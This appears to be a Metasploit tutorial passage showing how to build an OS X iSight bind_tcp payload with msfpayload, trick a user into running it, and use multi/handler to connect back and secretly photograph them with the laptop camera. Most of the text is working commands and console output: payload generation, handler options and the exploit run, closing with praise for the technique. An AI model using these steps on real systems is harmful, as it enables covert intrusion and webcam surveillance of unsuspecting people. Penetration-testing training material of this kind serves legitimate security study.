MSF vs OS X
One of the more interesting things about the Mac platform is how cameras are built into all of the laptops. This fact has not gone unnoticed by Metasploit developers, as there is a very interesting module that will take a picture with the built in camera.
Lets see it in action. First we generate a stand alone executable to transfer to a OS X system:
root@kali:~# msfpayload osx/x86/isight/bind_tcp X > /tmp/osxt2 Created by msfpayload (http://www.metasploit.com). Payload: osx/x86/isight/bind_tcp Length: 144 Options:
So, in this scenario we trick the user into executing the executable we have created, then we use 'multi/handler' to connect in and take a picture of the user.
msf > use multi/handler msf exploit(handler) > set PAYLOAD osx/x86/isight/bind_tcp PAYLOAD => osx/x86/isight/bind_tcp msf exploit(handler) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (osx/x86/isight/bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- AUTOVIEW true yes Automatically open the picture in a browser BUNDLE ~/data/isight.bundle yes The local path to the iSight Mach-O Bundle to upload LPORT 4444 yes The local port RHOST no The target address Exploit target: Id Name -- ---- 0 Wildcard Target msf exploit(handler) > ifconfig eth0 [*] exec: ifconfig eth0 eth0 Link encap:Ethernet HWaddr 00:0c:29:a7:f1:c5 inet addr:172.16.104.150 Bcast:172.16.104.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:fea7:f1c5/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:234609 errors:4 dropped:0 overruns:0 frame:0 TX packets:717103 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:154234515 (154.2 MB) TX bytes:58858484 (58.8 MB) Interrupt:19 Base address:0x2000 msf exploit(handler) > set RHOST 172.16.104.1 RHOST => 172.16.104.1 msf exploit(handler) > exploit [*] Starting the payload handler...

Very interesting! It appears we have a picture! Lets see what it looks like.
Amazing. This is a very powerful feature with can be used for many different purposes. The standardization of the Apple hardware platform has created a well defined platform for attackers to take advantage of.
